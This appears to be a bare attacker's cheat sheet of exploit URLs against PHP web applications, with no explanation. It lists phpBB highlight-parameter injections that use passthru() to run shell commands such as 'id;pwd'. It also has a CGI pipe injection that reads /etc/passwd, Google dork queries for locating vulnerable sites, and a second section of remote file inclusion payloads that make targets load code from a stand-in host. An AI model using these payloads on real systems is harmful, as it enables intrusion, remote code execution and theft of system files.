/forumlinux/viewtopic.php?t=29%20&highlight=%2527&highlight=%2527.passthru($HTTP_GET_VARS[CMD]).%2527&CMD=ls%20-al; 

/index.php?show= 

/tutorials/print.php?page= 

/index.php?page= 

/index.php?level= 

/index.php?file= 

/index.php?inter_url= 

/index.php?page= 

/index2.php?menu= 

/index.php?level= 

/index1.php?main= 

/index1.php?nav= 

/index1.php?link= 

/index2.php?page= 

/index.php?myContent= 

/index.php?TWC= 

/index.php?sec= 

/index1.php?main= 

/index2.php?page= 

/index.php?babInstallPath= 

/main.php?body= 

/index.php?z= 

/main.php?view= 

/cgi-bin/site/session.cgi?page=links.html|cat /etc/passwd| 

/forums/viewtopic.php?t=4&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=dir%20.... 

/phpBB2/viewtopic.php?t=7&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=id;pwd 

/forum/viewtopic.php?t=232&highlight=%2527.phpinfo().%2527 

/viewtopic.php?t=1&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=id;pwd
 
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path= 

/index.php?file= 

/allinurl:/index.php?page= site:*.dk 

/allinurl:"pnphpbb2 

/inurl:/allmyguest 

/allinurl:/index.php?file= site:*.dk 

/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
=============================================================================
http://www.target.com/admin_modules/admin_module_captions.inc.php?config[path_src_include]=http://www.injection.com/cmd?

http://www.target.com/admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=http://www.injection.com/cmd?

http://www.target.com/admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=http://www.injection.com/cmd?

http://www.target.com/admin_modules/admin_module_edit.inc.php?config[path_src_include]=http://www.injection.com/cmd?

http://www.target.com/admin_modules/admin_module_delimage.inc.php?config[path_src_include]=http://www.injection.com/cmd?

http://www.target.com/admin_modules/admin_module_deldir.inc.php?config[path_src_include]=http://www.injection.com/cmd?

http://www.target.com/src/index_overview.inc.php?config[path_src_include]=http://www.injection.com/cmd? 

http://www.target.com/src/image-gd.class.php?config[path_src_include]=http://www.injection.com/cmd? 

http://www.target.com/src/album.class.php?config[path_src_include]=http://www.injection.com/cmd? 

http://www.target.com/src/show_random.inc.php?config[path_src_include]=http://www.injection.com/cmd?

http://www.target.com/src/main.inc.php?config[path_src_include]=http://www.injection.com/cmd? 

http://www.target.com/src/index_passwd-admin.inc.php?admin_ok=1&config[path_admin_include]=http://www.injection.com/cmd?

==========================================================================